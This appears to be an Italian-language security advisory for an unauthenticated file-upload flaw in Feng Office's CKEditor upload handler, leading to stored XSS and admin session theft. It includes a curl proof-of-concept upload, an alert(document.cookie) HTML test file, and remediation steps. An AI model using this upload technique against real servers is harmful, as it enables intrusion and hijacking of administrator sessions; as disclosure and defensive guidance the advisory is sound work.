
Advisory di sicurezza dettagliato per CVE-2026-36669: upload arbitrario di file non autenticato in Feng Office, che consente XSS persistente e dirottamento della sessione. Include analisi tecnica, PoC e passaggi di remediation.
Una vulnerabilità di caricamento non autenticato di file arbitrari esiste in ck_upload_handler.php in Feng Office Community Edition (versione 3.11.13.11). Questa falla consente ad attaccanti remoti non autenticati di caricare file arbitrari (inclusi script .html o .php malevoli) in una directory accessibile via web. Se combinata con la mancanza di protezioni sui cookie amministrativi (HttpOnly), questa vulnerabilità può portare a Cross-Site Scripting (XSS) persistente e al dirottamento della sessione amministrativa.
| Metrica | Dettagli |
|---|
| Identificatore CVE | CVE-2026-36669 |
| Tipo di vulnerabilità | Caricamento senza restrizioni di file con tipo pericoloso (CWE-434) |
| Debolezza associata | Mancanza di autenticazione per funzioni critiche (CWE-306) |
| Prodotto interessato | Feng Office Community Edition |
| Versioni interessate | Versione 3.11.13.11 (e potenzialmente versioni precedenti) |
| Stato di sfruttamento | Prova di concetto verificata |
| Stato della correzione | Non corretto (fornitore notificato, nessuna patch fornita entro la finestra di divulgazione standard) |
L'endpoint ck_upload_handler.php agisce come uno script autonomo. Non carica né eredita il middleware di autenticazione o le liste di controllo degli accessi (ACL) dell'applicazione principale. Di conseguenza, qualsiasi richiesta esterna inviata direttamente a questo script viene trattata come autenticata.
Nel codice sorgente di ck_upload_handler.php, la logica di validazione lato server dei file (righe 21–25) progettata per limitare i caricamenti a specifici formati immagine (.jpg, .png, .gif) è stata esplicitamente commentata:
// $pattern = "/\.(jpg|png|gif)$/i";
// if (!preg_match($pattern,$_FILES['upload']['name'])) {
// ...
// }
Poiché questo vincolo regex è disattivo, il meccanismo di caricamento dei file accetta qualsiasi estensione fornita dall'utente.
Lo script utilizza la funzione PHP copy() per scrivere i file caricati direttamente nella directory /tmp/, configurata per essere accessibile via web.
Il file di configurazione globale application/config/config.php non impone il flag HttpOnly sui cookie di sessione. Quando un attaccante carica un file .html contenente blocchi di script lato client, qualsiasi amministratore che visualizzi il file eseguirà lo script nel contesto della propria sessione attiva. Ciò consente agli attaccanti di estrarre silenziosamente i token di sessione amministrativi attivi.
Nota: Questa prova di concetto è fornita esclusivamente a scopo educativo e di auditing difensivo.
Per verificare la vulnerabilità, inviare una richiesta POST multipart contenente un file di verifica innocuo (es. test.html) all'endpoint, aggiungendo il parametro CKEditorFuncNum richiesto:
curl -i -X POST \
-F "[email protected]" \
"http://<target-domain>/ck_upload_handler.php?CKEditorFuncNum=1"
Dove test.html contiene un markup HTML di base come prova di concetto:
<!DOCTYPE html>
<html>
<body>
<script>
alert("Vulnerability Verified: " + document.cookie);
</script>
</body>
</html>
Se vulnerabile, il server risponderà con uno stato 200 OK e restituirà un blocco JavaScript che indica il percorso di caricamento:
<script type="text/javascript">
window.parent.CKEDITOR.tools.callFunction("1", "/tmp/test.html", "");
</script>
Se si esegue una versione interessata di Feng Office, applicare le seguenti correzioni manuali per proteggere l'endpoint di caricamento dei file:
Assicurarsi che ck_upload_handler.php verifichi la presenza di sessioni amministrative attive prima di elaborare qualsiasi logica di caricamento dei file.
Togliere i commenti e applicare rigorosamente i controlli sulle estensioni. Rifiutare qualsiasi caricamento che non corrisponda esplicitamente ai MIME-type di immagini non eseguibili previsti:
$pattern = "/\.(jpg|jpeg|png|gif)$/i";
if (!preg_match($pattern, $_FILES['upload']['name'])) {
header("HTTP/1.1 403 Forbidden");
exit("Invalid file type.");
}
Modificare la configurazione PHP o la configurazione di bootstrap dell'applicazione per garantire che i cookie di sessione non siano accessibili tramite API di scripting lato client:
session.cookie_httponly = On
Soufiane LAGZIRI